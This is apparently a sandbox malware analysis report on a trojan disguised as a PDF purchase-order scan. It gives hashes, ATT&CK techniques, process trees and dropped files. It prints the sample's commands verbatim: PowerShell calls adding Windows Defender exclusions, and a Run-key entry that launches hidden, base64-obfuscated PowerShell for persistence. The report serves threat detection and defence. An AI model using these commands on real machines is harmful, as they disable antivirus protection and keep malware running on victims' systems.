d9f99fcd9dd5f9f0af42c0639677855929db6d30c505a0aa405a48f4920046ea

Analysis

max time kernel
150s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/08/2026, 00:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Scan_PO10744 OC 30517556_pdf.exe
Size 3.3MB
Sample260819-a59cvscc84
SHA256 d9f99fcd9dd5f9f0af42c0639677855929db6d30c505a0aa405a48f4920046ea
MD5 170f916e7c85e8e2079b5842c55a4cea
SHA1 3d4f86eb2e4edb8d488f3cf510dda00627feca77
SHA512 ca17702449fffec03c5f491f68a0130248c4bc6e52ae72b026b87aaebca9606183ba6369ba4c36b5dad181ee017601e9d023701513b5543b08f718a74e2ec17d
SSDEEP 98304:Fc1g9+8jlV2f1xKgjNCff3s/R3Fi2NpS9D4CHGz6JQRD:iq95mfaINCX3sSfDxU
TLSH
T1BFF512456203CB67D8057770C973DBF05A262D99E960D22F6DE93EBB7F7AE319800182
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe
2284	powershell.exe
4972	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5528	nY.exe
5276	nY.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\nY = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$kqaett=[System.Environment]::TickCount;$nvf5wn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$kqaett=[System.Environment]::TickCount;$geedys=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG5ZLmV4ZQ==')));$jj2vw0=$env:COMPUTERNAME;& $nvf5wn -FilePath $geedys\""	Scan_PO10744 OC 30517556_pdf.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3800 set thread context of 2120	3800	Scan_PO10744 OC 30517556_pdf.exe	93
PID 5528 set thread context of 5276	5528	nY.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3800	Scan_PO10744 OC 30517556_pdf.exe
2864	powershell.exe
2864	powershell.exe
2864	powershell.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
5528	nY.exe
2284	powershell.exe
2284	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	3800	Scan_PO10744 OC 30517556_pdf.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	5528	nY.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2284	powershell.exe
Token: SeSecurityPrivilege	2284	powershell.exe
Token: SeTakeOwnershipPrivilege	2284	powershell.exe
Token: SeLoadDriverPrivilege	2284	powershell.exe
Token: SeSystemProfilePrivilege	2284	powershell.exe
Token: SeSystemtimePrivilege	2284	powershell.exe
Token: SeProfSingleProcessPrivilege	2284	powershell.exe
Token: SeIncBasePriorityPrivilege	2284	powershell.exe
Token: SeCreatePagefilePrivilege	2284	powershell.exe
Token: SeBackupPrivilege	2284	powershell.exe
Token: SeRestorePrivilege	2284	powershell.exe
Token: SeShutdownPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeSystemEnvironmentPrivilege	2284	powershell.exe
Token: SeRemoteShutdownPrivilege	2284	powershell.exe
Token: SeUndockPrivilege	2284	powershell.exe
Token: SeManageVolumePrivilege	2284	powershell.exe
Token: 33	2284	powershell.exe
Token: 34	2284	powershell.exe
Token: 35	2284	powershell.exe
Token: 36	2284	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3800 wrote to memory of 2864	3800	Scan_PO10744 OC 30517556_pdf.exe	89
PID 3800 wrote to memory of 2120	3800	Scan_PO10744 OC 30517556_pdf.exe	93
PID 3800 wrote to memory of 2120	3800	Scan_PO10744 OC 30517556_pdf.exe	93
PID 3800 wrote to memory of 2120	3800	Scan_PO10744 OC 30517556_pdf.exe	93
PID 4972 wrote to memory of 5528	4972	powershell.exe	94
PID 5528 wrote to memory of 2284	5528	nY.exe	96
PID 5528 wrote to memory of 5276	5528	nY.exe	98
PID 5528 wrote to memory of 5276	5528	nY.exe	98
PID 5528 wrote to memory of 5276	5528	nY.exe	98

C:\Users\Admin\AppData\Local\Temp\Scan_PO10744 OC 30517556_pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Scan_PO10744 OC 30517556_pdf.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Scan_PO10744 OC 30517556_pdf.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Users\Admin\AppData\Local\Temp\Scan_PO10744 OC 30517556_pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\Scan_PO10744 OC 30517556_pdf.exe"
  2⤵
  PID:2120

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$kqaett=[System.Environment]::TickCount;$nvf5wn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$kqaett=[System.Environment]::TickCount;$geedys=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXG5ZLmV4ZQ==')));$jj2vw0=$env:COMPUTERNAME;& $nvf5wn -FilePath $geedys"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Users\Admin\AppData\Roaming\nY.exe
  "C:\Users\Admin\AppData\Roaming\nY.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\nY.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- - C:\Users\Admin\AppData\Roaming\nY.exe
    C:\Users\Admin\AppData\Roaming\nY.exe
    3⤵
    - Executes dropped EXE
    PID:5276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6911ea900ad8e14eaa7559bd3902448ae0bcadcd7ff3c4a9d106a95852b90e8a
MD5 8d51d88edb497e0bfcdc9eac1e657d4c
SHA1 8d33bed085981a945936b2b88e007f5558f9e267
SHA512 844355bed924636db3a833f5cf4e960e8ac086830e1065148c9e9a80c3b1c2cec0ca5c851f9860f224610fb57ca32c9da7e767f2c5e6a55931cdedccf58463f3
TLSH
T15C215937B3DC8614DC9A413A50CEAC1136B6C7DB809ECEAB7B84D544B42F699DE606A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_paujnlcm.zja.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_paujnlcm.zja.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

nY.exe

Path C:\Users\Admin\AppData\Roaming\nY.exe
Size 3.3MB
SHA256 d9f99fcd9dd5f9f0af42c0639677855929db6d30c505a0aa405a48f4920046ea
MD5 170f916e7c85e8e2079b5842c55a4cea
SHA1 3d4f86eb2e4edb8d488f3cf510dda00627feca77
SHA512 ca17702449fffec03c5f491f68a0130248c4bc6e52ae72b026b87aaebca9606183ba6369ba4c36b5dad181ee017601e9d023701513b5543b08f718a74e2ec17d
SSDEEP 98304:Fc1g9+8jlV2f1xKgjNCff3s/R3Fi2NpS9D4CHGz6JQRD:iq95mfaINCX3sSfDxU
TLSH
T1BFF512456203CB67D8057770C973DBF05A262D99E960D22F6DE93EBB7F7AE319800182
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2120-22-0x0000000140000000-0x000000014025C000-memory.dmp

Download

memory/2284-50-0x000002794ADA0000-0x000002794AE52000-memory.dmp

Download

memory/2864-30-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-14-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-38-0x0000025955360000-0x0000025955412000-memory.dmp

Download

memory/2864-39-0x0000025955420000-0x000002595542A000-memory.dmp

Download

memory/2864-23-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-27-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-29-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-28-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-13-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-37-0x0000025955330000-0x000002595534E000-memory.dmp

Download

memory/2864-15-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-18-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-19-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-20-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-21-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-42-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/2864-24-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-9-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-5-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-11-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-10-0x000001911B2B0000-0x000001911B5AA000-memory.dmp

Download

memory/3800-0-0x00007FF83E9BF000-0x00007FF83E9C0000-memory.dmp

Download

memory/3800-31-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-8-0x0000019119800000-0x0000019119824000-memory.dmp

Download

memory/3800-1-0x000001917D7E0000-0x000001917DB34000-memory.dmp

Download

memory/3800-7-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-6-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-12-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-3-0x000001917DFC0000-0x000001917DFE2000-memory.dmp

Download

memory/3800-4-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/3800-2-0x00007FF83E830000-0x00007FF83F1D4000-memory.dmp

Download

memory/5528-34-0x00000258E9EB0000-0x00000258E9ED4000-memory.dmp

Download